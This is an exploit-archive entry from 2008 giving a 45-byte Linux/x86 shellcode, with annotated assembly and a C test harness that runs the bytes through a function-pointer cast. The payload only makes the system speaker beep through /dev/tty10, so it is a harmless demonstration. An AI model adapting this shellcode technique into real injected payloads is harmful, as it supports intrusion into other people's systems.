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45byte-linux.txt

45byte-linux.txt
Posted Sep 9, 2008
Authored by Thomas Rinsma

45 byte system-beep shellcode for linux/x86.

tags | x86, shellcode
systems | linux
SHA-256 | 0f9cc5e6c0f59939e9e3e86781de1c9a8fe4ef79b3c07e8a2798fad1864ae0ad

45byte-linux.txt

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/*
By Thomas Rinsma <me[at]th0mas.nl> (16 apr. 2008)

Shellcode makes system speaker beep once, 45 bytes:


; int fd = open("/dev/tty10", O_RDONLY);
push byte 5
pop eax
cdq
push edx
push 0x30317974
push 0x742f2f2f
push 0x7665642f
mov ebx, esp
mov ecx, edx
int 80h

; ioctl(fd, KDMKTONE (19248), 66729180);
mov ebx, eax
push byte 54
pop eax
mov ecx, 4294948047
not ecx
mov edx, 66729180
int 80h
*/


main()
{
char shellcode[] =
"\x6a\x05\x58\x99\x52\x68\x74\x79\x31\x30\x68\x2f\x2f\x2f\x74"
"\x68\x2f\x64\x65\x76\x89\xe3\x89\xd1\xcd\x80\x89\xc3\x6a\x36"
"\x58\xb9\xcf\xb4\xff\xff\xf7\xd1\xba\xdc\x34\xfa\x03\xcd\x80";

(*(void (*)()) shellcode)();
}


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